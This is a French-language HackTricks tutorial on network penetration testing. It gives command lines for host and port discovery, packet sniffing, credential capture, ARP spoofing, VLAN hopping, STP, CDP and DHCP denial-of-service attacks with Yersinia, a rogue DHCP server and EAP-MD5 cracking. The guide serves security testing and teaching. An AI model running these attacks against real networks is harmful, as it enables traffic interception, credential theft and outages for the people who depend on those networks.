Pentesting Network

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Découverte des hôtes depuis l'extérieur

Il s'agit d'une section brève sur la façon de trouver des IP répondant depuis l'Internet. Dans cette situation, vous avez une certaine plage d'IP (peut-être même plusieurs plages) et vous devez simplement trouver quelles IPs répondent.

ICMP

C'est la façon la plus facile et la plus rapide de découvrir si un hôte est en ligne ou non. Vous pourriez essayer d'envoyer quelques paquets ICMP et attendre des réponses. La manière la plus simple est d'envoyer une demande d'écho et d'attendre la réponse. Vous pouvez le faire en utilisant simplement une commande ping ou en utilisant fping pour les plages. Vous pourriez également utiliser nmap pour envoyer d'autres types de paquets ICMP (ceci évitera les filtres aux demandes-réponses d'écho ICMP courantes).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

Découverte des ports TCP

Il est très courant de constater que tous les types de paquets ICMP sont filtrés. Ensuite, tout ce que vous pouvez faire pour vérifier si un hôte est actif est d'essayer de trouver des ports ouverts. Chaque hôte a 65535 ports, donc, si vous avez un "grand" périmètre, vous ne pouvez pas tester si chaque port de chaque hôte est ouvert ou non, cela prendrait trop de temps. Ce dont vous avez besoin est donc un scanner de ports rapide (masscan) et une liste des ports les plus utilisés :

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

Découverte du port HTTP

C'est simplement une découverte de port TCP utile lorsque vous souhaitez vous concentrer sur la découverte des services HTTP:

masscan -p80,443,8000-8100,8443 199.66.11.0/24

Découverte de ports UDP

Vous pourriez également essayer de vérifier si certains ports UDP sont ouverts pour décider si vous devez accorder plus d'attention à un hôte. Comme les services UDP ne répondent généralement pas avec de données à un paquet de sondage UDP vide normal, il est difficile de dire si un port est filtré ou ouvert. La manière la plus simple de décider est d'envoyer un paquet lié au service en cours d'exécution, et comme vous ne savez pas quel service est en cours d'exécution, vous devriez essayer le plus probable en fonction du numéro de port :

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

La ligne nmap proposée précédemment testera les 1000 ports UDP principaux de chaque hôte à l'intérieur de la plage /24, mais même cela prendra >20min. Si vous avez besoin de résultats plus rapides, vous pouvez utiliser udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24 Cela enverra ces sondes UDP vers leur port attendu (pour une plage /24, cela prendra seulement 1 min) : DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

Découverte de port SCTP

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Test d'intrusion Wifi

Ici, vous pouvez trouver un guide complet de toutes les attaques Wifi bien connues au moment de la rédaction :

Découverte des hôtes de l'intérieur

Si vous êtes à l'intérieur du réseau, l'une des premières choses que vous voudrez faire est de découvrir d'autres hôtes. Selon le niveau de bruit que vous pouvez/voulez générer, différentes actions pourraient être effectuées :

Passif

Vous pouvez utiliser ces outils pour découvrir passivement les hôtes à l'intérieur d'un réseau connecté :

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Actif

Notez que les techniques commentées dans Découverte des hôtes depuis l'extérieur (Découverte des ports TCP/HTTP/UDP/SCTP) peuvent également être appliquées ici. Cependant, étant donné que vous êtes dans le même réseau que les autres hôtes, vous pouvez faire plus de choses:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

ICMP Actif

Notez que les techniques commentées dans Découverte des hôtes depuis l'extérieur (ICMP) peuvent également être appliquées ici. Cependant, étant donné que vous êtes dans le même réseau que les autres hôtes, vous pouvez faire plusieurs choses :

  • Si vous pinguez une adresse de diffusion de sous-réseau, le ping devrait arriver à chaque hôte et ils pourraient vous répondre : ping -b 10.10.5.255

  • En pingant l'adresse de diffusion du réseau, vous pourriez même trouver des hôtes à l'intérieur d'autres sous-réseaux : ping -b 255.255.255.255

  • Utilisez les drapeaux -PE, -PP, -PM de nmap pour effectuer une découverte d'hôtes en envoyant respectivement des demandes de requête ICMPv4 echo, de timestamp, et de masque de sous-réseau : nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Réveil sur Réseau (Wake On Lan)

Le Réveil sur Réseau est utilisé pour allumer les ordinateurs via un message réseau. Le paquet magique utilisé pour allumer l'ordinateur est simplement un paquet où un MAC Dst est fourni et est ensuite répété 16 fois dans le même paquet. Ces types de paquets sont généralement envoyés dans un ethernet 0x0842 ou dans un paquet UDP au port 9. Si aucun [MAC] n'est fourni, le paquet est envoyé à l'ethernet de diffusion (et le MAC de diffusion sera celui qui est répété).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Balayage des hôtes

Une fois que vous avez découvert toutes les adresses IP (externes ou internes) que vous souhaitez analyser en profondeur, différentes actions peuvent être effectuées.

TCP

  • Port ouvert : SYN --> SYN/ACK --> RST

  • Port fermé : SYN --> RST/ACK

  • Port filtré : SYN --> [PAS DE RÉPONSE]

  • Port filtré : SYN --> message ICMP

# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Il existe 2 options pour scanner un port UDP :

  • Envoyer un paquet UDP et vérifier la réponse ICMP unreachable si le port est fermé (dans plusieurs cas, ICMP sera filtré donc vous ne recevrez aucune information si le port est fermé ou ouvert).

  • Envoyer des datagrammes formatés pour obtenir une réponse d'un service (par exemple, DNS, DHCP, TFTP, et d'autres, comme listé dans nmap-payloads). Si vous recevez une réponse, alors le port est ouvert.

Nmap va mélanger les deux options en utilisant "-sV" (les scans UDP sont très lents), mais notez que les scans UDP sont plus lents que les scans TCP :

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

Analyse SCTP

SCTP (Stream Control Transmission Protocol) est conçu pour être utilisé aux côtés de TCP (Transmission Control Protocol) et UDP (User Datagram Protocol). Son objectif principal est de faciliter le transport des données téléphoniques sur les réseaux IP, en reflétant bon nombre des fonctionnalités de fiabilité trouvées dans Signaling System 7 (SS7). SCTP est un composant essentiel de la famille de protocoles SIGTRAN, qui vise à transporter des signaux SS7 sur les réseaux IP.

Le support de SCTP est fourni par divers systèmes d'exploitation, tels que IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, et VxWorks, indiquant sa large acceptation et son utilité dans le domaine des télécommunications et des réseaux.

Deux analyses différentes pour SCTP sont proposées par nmap : -sY et -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

Évasion des IDS et IPS

Plus d'options nmap

Révélation des adresses IP internes

Les routeurs, pare-feu et périphériques réseau mal configurés répondent parfois aux sondes réseau en utilisant des adresses source non publiques. tcpdump peut être utilisé pour identifier les paquets reçus à partir d'adresses privées lors des tests. Plus précisément, sur Kali Linux, les paquets peuvent être capturés sur l'interface eth2, qui est accessible depuis Internet. Il est important de noter que si votre configuration est derrière un NAT ou un pare-feu, de tels paquets sont susceptibles d'être filtrés.

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

En sniffant, vous pouvez apprendre des détails sur les plages d'adresses IP, les tailles de sous-réseau, les adresses MAC et les noms d'hôtes en examinant les trames et paquets capturés. Si le réseau est mal configuré ou si le tissu de commutation est sous stress, les attaquants peuvent capturer du matériel sensible via un sniffing réseau passif.

Si un réseau Ethernet commuté est configuré correctement, vous ne verrez que des trames de diffusion et du matériel destiné à votre adresse MAC.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

On peut également capturer des paquets depuis une machine distante via une session SSH avec Wireshark en tant qu'interface graphique en temps réel.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

Bettercap est un outil de pentesting réseau en ligne de commande qui permet d'effectuer diverses attaques sur les réseaux locaux. Il peut être utilisé pour l'écoute du trafic en clair, le sniffing de paquets, le spoofing d'ARP, l'injection de paquets, la redirection de trafic, et bien d'autres attaques réseau. Bettercap est un outil polyvalent et puissant largement utilisé par les professionnels de la cybersécurité pour tester la sécurité des réseaux.

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Évidemment.

Capture de crédentiels

Vous pouvez utiliser des outils comme https://github.com/lgandx/PCredz pour analyser les crédentiels à partir d'un fichier pcap ou d'une interface en direct.

Attaques LAN

Spoofing ARP

Le Spoofing ARP consiste à envoyer des réponses ARP gratuites pour indiquer que l'IP d'une machine a l'adresse MAC de notre appareil. Ensuite, la victime modifiera la table ARP et contactera notre machine chaque fois qu'elle voudra contacter l'IP falsifiée.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - Débordement CAM

Débordez la table CAM du commutateur en envoyant de nombreux paquets avec des adresses MAC source différentes. Lorsque la table CAM est pleine, le commutateur commence à se comporter comme un concentrateur (diffusant tout le trafic).

macof -i <interface>

Dans les commutateurs modernes, cette vulnérabilité a été corrigée.

Attaques 802.1Q VLAN / DTP

Trunking Dynamique

Le Protocole de Trunking Dynamique (DTP) est conçu comme un protocole de couche de liaison pour faciliter un système automatique de trunking, permettant aux commutateurs de sélectionner automatiquement les ports en mode trunk (Trunk) ou en mode non-trunk. Le déploiement de DTP est souvent considéré comme indicatif d'une conception réseau sous-optimale, soulignant l'importance de configurer manuellement les tronçons uniquement lorsque cela est nécessaire et de garantir une documentation adéquate.

Par défaut, les ports de commutateur sont configurés pour fonctionner en mode Dynamique Automatique, ce qui signifie qu'ils sont prêts à initier le trunking si un commutateur voisin le demande. Un problème de sécurité survient lorsqu'un testeur d'intrusion ou un attaquant se connecte au commutateur et envoie une trame DTP Désirable, obligeant le port à passer en mode trunk. Cette action permet à l'attaquant d'énumérer les VLAN via l'analyse des trames STP et de contourner la segmentation des VLAN en configurant des interfaces virtuelles.

La présence de DTP dans de nombreux commutateurs par défaut peut être exploitée par des adversaires pour imiter le comportement d'un commutateur, leur permettant ainsi d'accéder au trafic sur tous les VLAN. Le script dtpscan.sh est utilisé pour surveiller une interface, révélant si un commutateur est en mode par défaut, Trunk, Dynamique, Automatique ou Accès, ce dernier étant la seule configuration immunisée contre les attaques de saut de VLAN. Cet outil évalue l'état de vulnérabilité du commutateur.

Si une vulnérabilité réseau est identifiée, l'outil Yersinia peut être utilisé pour "activer le trunking" via le protocole DTP, permettant l'observation des paquets de tous les VLAN.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Pour énumérer les VLAN, il est également possible de générer le trame DTP Desirable avec le script DTPHijacking.py. Ne pas interrompre le script sous aucun prétexte. Il injecte DTP Desirable toutes les trois secondes. Les canaux de trunk créés dynamiquement sur le commutateur ne restent actifs que pendant cinq minutes. Après cinq minutes, le trunk tombe.

sudo python3 DTPHijacking.py --interface eth0

Je tiens à souligner que Access/Desirable (0x03) indique que le cadre DTP est de type souhaitable, ce qui indique au port de passer en mode Trunk. Et 802.1Q/802.1Q (0xa5) indique le type d'encapsulation 802.1Q.

En analysant les trames STP, nous apprenons l'existence des VLAN 30 et 60.

Attaquer des VLAN spécifiques

Une fois que vous connaissez les identifiants VLAN et les valeurs IP, vous pouvez configurer une interface virtuelle pour attaquer un VLAN spécifique. Si le DHCP n'est pas disponible, utilisez ifconfig pour définir une adresse IP statique.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Saut de VLAN Automatique

L'attaque discutée de Trunking Dynamique et la création d'interfaces virtuelles pour découvrir des hôtes dans d'autres VLAN sont automatiquement effectuées par l'outil : https://github.com/nccgroup/vlan-hopping---frogger

Double Étiquetage

Si un attaquant connaît la valeur du MAC, de l'IP et de l'ID VLAN de l'hôte victime, il pourrait essayer de double étiqueter un trame avec son VLAN désigné et le VLAN de la victime et envoyer un paquet. Comme la victime ne pourra pas se connecter à l'attaquant, la meilleure option pour l'attaquant est de communiquer via UDP vers des protocoles qui peuvent effectuer des actions intéressantes (comme SNMP).

Une autre option pour l'attaquant est de lancer un balayage de ports TCP en usurpant une IP contrôlée par l'attaquant et accessible par la victime (probablement via internet). Ensuite, l'attaquant pourrait renifler dans le deuxième hôte lui appartenant s'il reçoit des paquets de la victime.

Pour effectuer cette attaque, vous pourriez utiliser scapy : pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Contournement de la segmentation latérale des VLAN

Si vous avez accès à un commutateur auquel vous êtes directement connecté, vous avez la possibilité de contourner la segmentation des VLAN au sein du réseau. Il vous suffit de passer le port en mode trunk (également appelé trunk), de créer des interfaces virtuelles avec les identifiants des VLAN cibles, et de configurer une adresse IP. Vous pouvez essayer de demander l'adresse de manière dynamique (DHCP) ou la configurer de manière statique. Cela dépend du cas.

Contournement des VLAN privés de couche 3

Dans certains environnements, tels que les réseaux sans fil invités, les paramètres d'isolation de port (également connus sous le nom de VLAN privés) sont mis en place pour empêcher les clients connectés à un point d'accès sans fil de communiquer directement entre eux. Cependant, une technique a été identifiée pour contourner ces mesures d'isolation. Cette technique exploite soit l'absence de listes de contrôle d'accès réseau, soit leur configuration incorrecte, permettant aux paquets IP d'être routés à travers un routeur pour atteindre un autre client sur le même réseau.

L'attaque est exécutée en créant un paquet qui transporte l'adresse IP du client de destination mais avec l'adresse MAC du routeur. Cela amène le routeur à transférer par erreur le paquet vers le client cible. Cette approche est similaire à celle utilisée dans les attaques à double étiquetage, où la capacité de contrôler un hôte accessible à la victime est utilisée pour exploiter la faille de sécurité.

Étapes clés de l'attaque :

  1. Création d'un paquet : Un paquet est spécialement conçu pour inclure l'adresse IP du client cible mais avec l'adresse MAC du routeur.

  2. Exploitation du comportement du routeur : Le paquet créé est envoyé au routeur, qui, en raison de la configuration, redirige le paquet vers le client cible, contournant l'isolation fournie par les paramètres de VLAN privés.

Attaques VTP

Le VTP (VLAN Trunking Protocol) centralise la gestion des VLAN. Il utilise des numéros de révision pour maintenir l'intégrité de la base de données des VLAN ; toute modification incrémente ce numéro. Les commutateurs adoptent les configurations avec des numéros de révision plus élevés, mettant à jour leurs propres bases de données VLAN.

Rôles de domaine VTP

  • Serveur VTP : Gère les VLAN - crée, supprime, modifie. Il diffuse des annonces VTP aux membres du domaine.

  • Client VTP : Reçoit les annonces VTP pour synchroniser sa base de données VLAN. Ce rôle est limité aux modifications de configuration VLAN locales.

  • Transparent VTP : Ne participe pas aux mises à jour VTP mais transmet les annonces VTP. Non affecté par les attaques VTP, il maintient un numéro de révision constant de zéro.

Types d'annonces VTP

  • Annonce de synthèse : Diffusée par le serveur VTP toutes les 300 secondes, transportant des informations essentielles sur le domaine.

  • Annonce partielle : Envoyée suite à des modifications de configuration VLAN.

  • Demande d'annonce : Émise par un client VTP pour demander une annonce de synthèse, généralement en réponse à la détection d'un numéro de révision de configuration plus élevé.

Les vulnérabilités VTP sont exploitables exclusivement via les ports trunk car les annonces VTP circulent uniquement à travers eux. Les scénarios d'attaque post-DTP pourraient se tourner vers le VTP. Des outils comme Yersinia peuvent faciliter les attaques VTP, visant à effacer la base de données VLAN, perturbant ainsi efficacement le réseau.

Remarque : Cette discussion concerne la version 1 de VTP (VTPv1).

%% yersinia -G # Launch Yersinia in graphical mode ```

Attaques STP

Si vous ne pouvez pas capturer les trames BPDU sur vos interfaces, il est peu probable que vous réussissiez dans une attaque STP.

STP BPDU DoS

En envoyant beaucoup de BPDUs TCP (Notification de Changement de Topologie) ou Conf (les BPDUs envoyés lors de la création de la topologie), les commutateurs sont surchargés et cessent de fonctionner correctement.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

Attaque TCP STP

Lorsqu'un paquet TCP est envoyé, la table CAM des commutateurs est supprimée en 15 secondes. Ensuite, si vous envoyez continuellement ce type de paquets, la table CAM sera redémarrée en continu (ou toutes les 15 secondes) et lorsque cela se produit, le commutateur se comporte comme un concentrateur.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

Attaque de la racine STP

L'attaquant simule le comportement d'un commutateur pour devenir la racine STP du réseau. Ensuite, plus de données passeront par lui. C'est intéressant lorsque vous êtes connecté à deux commutateurs différents. Cela se fait en envoyant des paquets CONF BPDU disant que la valeur de priorité est inférieure à la priorité réelle du commutateur racine actuel.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

Si l'attaquant est connecté à 2 commutateurs, il peut être la racine de l'arbre et tout le trafic entre ces commutateurs passera par lui (une attaque MITM sera effectuée).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

Attaques CDP

Le protocole de découverte CISCO (CDP) est essentiel pour la communication entre les appareils CISCO, leur permettant de s'identifier mutuellement et de partager des détails de configuration.

Collecte Passive de Données

CDP est configuré pour diffuser des informations sur tous les ports, ce qui peut entraîner un risque de sécurité. Un attaquant, en se connectant à un port de commutateur, pourrait déployer des outils de capture réseau tels que Wireshark, tcpdump, ou Yersinia. Cette action peut révéler des données sensibles sur l'appareil réseau, y compris son modèle et la version de Cisco IOS qu'il exécute. L'attaquant pourrait ensuite cibler des vulnérabilités spécifiques dans la version identifiée de Cisco IOS.

Induction d'une Inondation de Table CDP

Une approche plus agressive consiste à lancer une attaque par déni de service (DoS) en submergeant la mémoire du commutateur, en se faisant passer pour des appareils CISCO légitimes. Voici la séquence de commandes pour initier une telle attaque en utilisant Yersinia, un outil réseau conçu pour les tests :

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

Pendant cette attaque, le CPU du commutateur et la table des voisins CDP sont fortement sollicités, entraînant ce qui est souvent appelé "paralysie du réseau" en raison de la consommation excessive de ressources.

Attaque d'Impersonation CDP

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

Vous pouvez également utiliser scapy. Assurez-vous de l'installer avec le package scapy/contrib.

Attaques VoIP et l'outil VoIP Hopper

Les téléphones VoIP, de plus en plus intégrés aux appareils IoT, offrent des fonctionnalités telles que le déverrouillage des portes ou le contrôle des thermostats via des numéros de téléphone spéciaux. Cependant, cette intégration peut présenter des risques en matière de sécurité.

L'outil voiphopper est conçu pour émuler un téléphone VoIP dans divers environnements (Cisco, Avaya, Nortel, Alcatel-Lucent). Il découvre l'ID VLAN du réseau vocal en utilisant des protocoles tels que CDP, DHCP, LLDP-MED et 802.1Q ARP.

VoIP Hopper propose trois modes pour le protocole de découverte Cisco (CDP) :

  1. Mode Sniff (-c 0) : Analyse les paquets réseau pour identifier l'ID VLAN.

  2. Mode Spoof (-c 1) : Génère des paquets personnalisés imitant ceux d'un véritable appareil VoIP.

  3. Mode Spoof avec paquet préfabriqué (-c 2) : Envoie des paquets identiques à ceux d'un modèle spécifique de téléphone IP Cisco.

Le mode préféré pour la vitesse est le troisième. Il nécessite de spécifier :

  • L'interface réseau de l'attaquant (paramètre -i).

  • Le nom de l'appareil VoIP à émuler (paramètre -E), en respectant le format de nommage Cisco (par exemple, SEP suivi d'une adresse MAC).

Dans les environnements d'entreprise, pour imiter un appareil VoIP existant, on pourrait :

  • Vérifier l'étiquette MAC sur le téléphone.

  • Naviguer dans les paramètres d'affichage du téléphone pour voir les informations sur le modèle.

  • Connecter l'appareil VoIP à un ordinateur portable et observer les demandes CDP à l'aide de Wireshark.

Un exemple de commande pour exécuter l'outil en mode trois serait :

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

Attaques DHCP

Énumération

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Deux types de DoS pourraient être effectués contre les serveurs DHCP. Le premier consiste à simuler suffisamment de faux hôtes pour utiliser toutes les adresses IP possibles. Cette attaque ne fonctionnera que si vous pouvez voir les réponses du serveur DHCP et compléter le protocole (Découverte (Comp) --> Offre (serveur) --> Demande (Comp) --> ACK (serveur)). Par exemple, cela n'est pas possible dans les réseaux Wifi.

Une autre façon d'effectuer un DoS DHCP est d'envoyer un paquet DHCP-RELEASE en utilisant comme code source chaque IP possible. Ensuite, le serveur pensera que tout le monde a fini d'utiliser l'IP.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

Une façon plus automatique de faire cela est d'utiliser l'outil DHCPing

Vous pourriez utiliser les attaques DoS mentionnées pour forcer les clients à obtenir de nouvelles baux au sein de l'environnement, et épuiser les serveurs légitimes afin qu'ils deviennent non réactifs. Ainsi, lorsque les légitimes tentent de se reconnecter, vous pouvez servir des valeurs malveillantes mentionnées dans la prochaine attaque.

Définir des valeurs malveillantes

Un serveur DHCP malveillant peut être configuré en utilisant le script DHCP situé à /usr/share/responder/DHCP.py. Cela est utile pour les attaques réseau, comme la capture du trafic HTTP et des identifiants, en redirigeant le trafic vers un serveur malveillant. Cependant, la configuration d'une passerelle malveillante est moins efficace car elle ne permet que de capturer le trafic sortant du client, en ignorant les réponses de la vraie passerelle. Au lieu de cela, il est recommandé de configurer un serveur DNS ou WPAD malveillant pour une attaque plus efficace.

Voici les options de commande pour configurer le serveur DHCP malveillant :

  • Notre adresse IP (Annonce de la passerelle) : Utilisez -i 10.0.0.100 pour annoncer l'IP de votre machine comme passerelle.

  • Nom de domaine DNS local : Facultativement, utilisez -d example.org pour définir un nom de domaine DNS local.

  • Adresse IP du routeur/passerelle d'origine : Utilisez -r 10.0.0.1 pour spécifier l'adresse IP du routeur ou de la passerelle légitime.

  • Adresse IP du serveur DNS principal : Utilisez -p 10.0.0.100 pour définir l'adresse IP du serveur DNS malveillant que vous contrôlez.

  • Adresse IP du serveur DNS secondaire : Facultativement, utilisez -s 10.0.0.1 pour définir une adresse IP de serveur DNS secondaire.

  • Masque de sous-réseau du réseau local : Utilisez -n 255.255.255.0 pour définir le masque de sous-réseau du réseau local.

  • Interface pour le trafic DHCP : Utilisez -I eth1 pour écouter le trafic DHCP sur une interface réseau spécifique.

  • Adresse de configuration WPAD : Utilisez -w “http://10.0.0.100/wpad.dat” pour définir l'adresse de configuration WPAD, aidant à l'interception du trafic web.

  • Fausser l'adresse IP de la passerelle par défaut : Incluez -S pour fausser l'adresse IP de la passerelle par défaut.

  • Répondre à toutes les demandes DHCP : Incluez -R pour que le serveur réponde à toutes les demandes DHCP, mais soyez conscient que cela est bruyant et peut être détecté.

En utilisant correctement ces options, un serveur DHCP malveillant peut être établi pour intercepter efficacement le trafic réseau.

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

Attaques EAP

Voici quelques-unes des tactiques d'attaque qui peuvent être utilisées contre les implémentations 802.1X :

  • Force brute active de mots de passe via EAP

  • Attaque du serveur RADIUS avec un contenu EAP malformé **(exploits)

  • Capture de messages EAP et craquage de mots de passe hors ligne (EAP-MD5 et PEAP)

  • Forcer l'authentification EAP-MD5 pour contourner la validation du certificat TLS

  • Injection de trafic réseau malveillant lors de l'authentification en utilisant un concentrateur ou similaire

Si l'attaquant se trouve entre la victime et le serveur d'authentification, il pourrait tenter de dégrader (si nécessaire) le protocole d'authentification en EAP-MD5 et capturer la tentative d'authentification. Ensuite, il pourrait effectuer une force brute en utilisant :

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

Attaques FHRP (GLBP & HSRP)

FHRP (First Hop Redundancy Protocol) est une classe de protocoles réseau conçue pour créer un système de routage redondant à chaud. Avec FHRP, des routeurs physiques peuvent être combinés en un seul dispositif logique, ce qui augmente la tolérance aux pannes et aide à répartir la charge.

Les ingénieurs de Cisco Systems ont développé deux protocoles FHRP, GLBP et HSRP.

RIP

Trois versions du protocole d'information de routage (RIP) sont connues : RIP, RIPv2 et RIPng. Les datagrammes sont envoyés aux pairs via le port 520 en utilisant UDP par RIP et RIPv2, tandis que les datagrammes sont diffusés sur le port 521 en utilisant IPv6 multicast par RIPng. Le support de l'authentification MD5 a été introduit par RIPv2. En revanche, l'authentification native n'est pas incorporée par RIPng ; à la place, on se base sur les en-têtes IPsec AH et ESP optionnels dans IPv6.

  • RIP et RIPv2 : La communication se fait via des datagrammes UDP sur le port 520.

  • RIPng : Utilise le port UDP 521 pour diffuser des datagrammes via IPv6 multicast.

